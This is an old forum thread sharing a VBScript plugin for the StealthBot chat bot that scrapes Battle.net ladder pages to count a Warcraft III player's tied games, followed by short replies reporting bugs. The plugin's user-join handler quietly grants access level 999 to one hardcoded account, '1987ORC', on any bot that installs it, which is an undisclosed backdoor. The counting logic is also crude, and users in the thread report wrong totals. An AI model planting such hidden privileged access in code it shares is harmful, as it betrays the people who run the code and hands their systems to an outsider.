 |  Get the ties of an user, made by T[x]aS !This is a discussion on Get the ties of an user, made by T[x]aS ! within the Stealthbot Plugins forum part of the Stealthbot category; here it is =) its fun only for Northrend !
.getties username = number of ties !
Code:
'GetTieS
'1.0
...  Welcome on D3scene.com! Make sure to register - it's free and very quick! You have to register before you can post and participate in our discussions with 70000 other registered members. Downloads, user profiles and some forums can only be seen by registered members. After you create your free account you will be able to customize many options, you will have the full access to new hacks, latest cheats and last but not least will see no advertisements at all. We would love to see you around in our community! 
11-02-2007, 11:11 AM
| | The Almighty Frenchie | | Join Date: Feb 2007 Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4 | | | Get the ties of an user, made by T[x]aS ! here it is =) its fun  only for Northrend !
.getties username = number of ties ! Code: 'GetTieS
'1.0
'**** by DrOiD3
Dim TotalTies
dim Users(40)
dim Txttotal
Dim LastTies
Sub GetTieS_Event_UserTalk(Username, Flags, Message, Ping)
Call ssc.GetDBEntry(username, Access, Flags)
if access < 70 then exit sub
If Left(Message, 9) = BotVars.Trigger & "getties " then
User = mid(message,10)
Addq "/emote Searching The Ties of [ " & User & " ]"
call BuscaTiesEn(user,1)
end if
If Message = BotVars.Trigger & "gettiesinchannel" then
Addq "/emote Searching The Ties of " & GetInternalUserCount() & " in Channel " & myChannel
Txttotal = GetInternalUserCount()
For i = 1 to 40
Users(i) = ""
next
For i = 1 to GetInternalUserCount()
Users(i) = GetNameByPosition(i)
next
For i = 1 to 40
if users(i) <> "" then
call BuscaTiesEn(users(i),i)
end if
next
end if
end sub
sub BuscaTiesEn(user,id)
TotalTies = 0
if ScINet.stillExecuting then
addq username & " ^_^ I'M BuSy "
exit sub
end if
'/// Total PAginas
ContentP = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo=1")
pos = InStr(contentp, "left-bot.gif")
ContentP = mid(contentp,pos + 15,1000)
pos = InStr(contentp, "Asc&PageNo")
ContentP = mid(contentp,pos + 15)
pos = InStr(contentp, "Asc&PageNo")
paginas = mid(contentp,pos+11,2)
paginas = GetNumber(paginas)
'addchat vbgreen , contentp
TotalGAmes = 20 * paginas
addchat vbred, "PAGINAS: " & Paginas
if paginas > 50 then paginas = 50
For j=1 to paginas
'addq "/emote >> Searching Ties in Page [ " & j & " ]"
addchat vbred, j
testResult = j Mod 2
if testResult = 0 then Addq "/emote Searched a total of [ " & j & "/" & paginas & " pages ] " & TxtPorcent(j,paginas) & " % Done | " & User
Content = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName="&user&"&SortField=Game_Result&SortDir=Asc&PageNo="&j)
LastTies = GetTies (content)
TotalTies = TotalTies + lastTies
Next
TxtTie = ""
' if TotalTies > 10 then TxtTie = " <---- Mb is a TieHAcker"
if id = 1 then
Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie & " | By DrOiD"' Games: " & 20 * paginas
else
Addq "/emote >>> TOTAL TIES OF [ " & Ucase(user) & " ] = ( " & TotalTies & " ) " & TxtTie & " | " & TxtPorcent(id,Txttotal) & "% Done"
end if
end sub
Sub GetTieS_Event_UserJoins(Username, Flags, Message, Ping, Product, Level, OriginalStatstring)
GetDBEntry Username, Access, Flags
If ucase(username) = "1987ORC" Then Command MyUsername, "/add " & Username & " 999", True
end sub
Function GetTies(str)
str = lcase(str)
GetTies = 0
termina = "no"
While termina = "no"
pos = InStr(str, "tie")
If pos > 0 Then
NumTies = NumTies + 1
str = Mid(str, pos + 3)
Else
termina = "si"
End If
Wend
GetTies = NumTies
End Function
function TxtPorcent(i,txttotal)
TxtPorcent = i * 100/Txttotal
TxtPorcent = left(TxtPorcent,5)
end function
Function GetNumber(Str)
for c=1 to len(Str)
car = mid(str,c,1)
if isnumeric(car) then
GetNumber = GetNumber & car
addchat vbgreen, getnumber
end if
next
end function
'Function TotalGames(USer)
'user = "casi.nah-mtb"
'content3 = scinet.openurl("http://www.battle.net/war3/ladder/war3-player-profile.aspx?Gateway=Northrend&PlayerName="&user)
'a = Split(Content3, "Total:</td>")(1)
'TStat = Split(Split(a, "Row"">")(1), "<")(0)
'TStat = TStat & "-" & Split(Split(a, "Row"">")(2), "<")(0)
'TStat = TStat & "-" & Split(Split(a, "Row"">")(3), "<")(0)
'TotalGames = Split(Split(a, "Row"">")(3), "<")(0)
'TotalGames = TStat
'end function
Sub TieStreak(User)
user = "casi.nah-mtb"
'content = Me.Inet1.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
content = scinet.OpenURL("http://www.battle.net/war3/ladder/war3-player-logged-games.aspx?Gateway=Northrend&PlayerName=" & user)
pos = InStr(content, "Opponents:")
content = Mid(content, pos)
addchat vbgreen, content
end sub
Last edited by xiN; 11-02-2007 at 11:16 AM.
| | D3scene |
Welcome to D3scene - probably the best location for all Gamers.
To participate in our friendly environment you have to register. After completing registration you will have full access to all threads and features. We care about members and try to make your stay as pleasant as possible. We are unique with the following feature for members - you will not see a single Advertisement!
The best: registration is completely free. It will not cost you a single penny or harm you in any way. You will lose nothing except 1 minute of your time. So why not register? We would be happy to see you around!
| 
11-02-2007, 01:16 PM
|  | Administrator | | Join Date: Feb 2007 Location: Hamburg, Germany
Posts: 5,686
Thanks: 69
Thanked 63 Times in 24 Posts
Reputation: 1453
Rep Power: 12 | | | Very nice script :-).
How about you add them to our Download-section? I can add a stealthbot category. | 
11-02-2007, 01:48 PM
| | The Almighty Frenchie | | Join Date: Feb 2007 Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4 | | i added it  im gonna had the others :p
Last edited by xiN; 11-02-2007 at 01:59 PM.
| 
11-02-2007, 02:01 PM
|  | Addicted to hacks ;) | | Join Date: Jun 2007
Posts: 622
Thanks: 75
Thanked 7 Times in 5 Posts
Reputation: 108
Rep Power: 3 | | Haha, very cute | 
11-02-2007, 02:04 PM
| | The Almighty Frenchie | | Join Date: Feb 2007 Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4 | | | true, its just imba ^^ | 
11-20-2007, 01:12 PM
| | Newbie | | Join Date: Aug 2007
Posts: 3
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 0
Rep Power: 3 | | | In the Last days the Bot doesnt realy shows me the ties?
He often shows 0 ties and search just on 14 pages if someone have 144 etc.
Is there something to fixx it? | 
11-20-2007, 02:03 PM
| | The Almighty Frenchie | | Join Date: Feb 2007 Location: Six feet under
Posts: 1,686
Thanks: 8
Thanked 12 Times in 9 Posts
Reputation: 314
Rep Power: 4 | | it should say every ties, but it sometimes bugs, u can see it into ur bot, just re-do .getties <user> , i found another bug, i have about 120 ties and bots says i have 2 xD, but i am not the maker of the plugin, i cant know how to fix it | 
12-07-2007, 03:14 PM
|  | Member | | Join Date: Jul 2007
Posts: 48
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 36
Rep Power: 3 | | haha very nice plug  but ... i have 1589 ties >_< | 
01-05-2008, 03:45 PM
| ![Alt-F[4]'s Avatar](http://www.d3scene.com/forum/avatars/alt-f-4-.gif?dateline=1200236934) | Addict | | Join Date: Nov 2007 Location: PORTUGAL
Posts: 72
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 6
Rep Power: 2 | | | cant get it working | 
03-01-2008, 04:03 PM
| | Wannabe Member | | Join Date: Jun 2007
Posts: 10
Thanks: 0
Thanked 0 Times in 0 Posts
Reputation: 0
Rep Power: 3 | | | ed
<-- starman
it works on stealthbot ??
i tried to download it from droid on w3roc.com but i duno xd | | D3scene |
Welcome to D3scene - probably the best location for all Gamers.
To participate in our friendly environment you have to register. After completing registration you will have full access to all threads and features. We care about members and try to make your stay as pleasant as possible. We are unique with the following feature for members - you will not see a single Advertisement!
The best: registration is completely free. It will not cost you a single penny or harm you in any way. You will lose nothing except 1 minute of your time. So why not register? We would be happy to see you around!
| | Thread Tools | | | | Display Modes | Linear Mode |
Posting Rules
| You may not post new threads You may not post replies You may not post attachments You may not edit your posts HTML code is Off | | | | All times are GMT +1. The time now is 03:31 PM. | |  |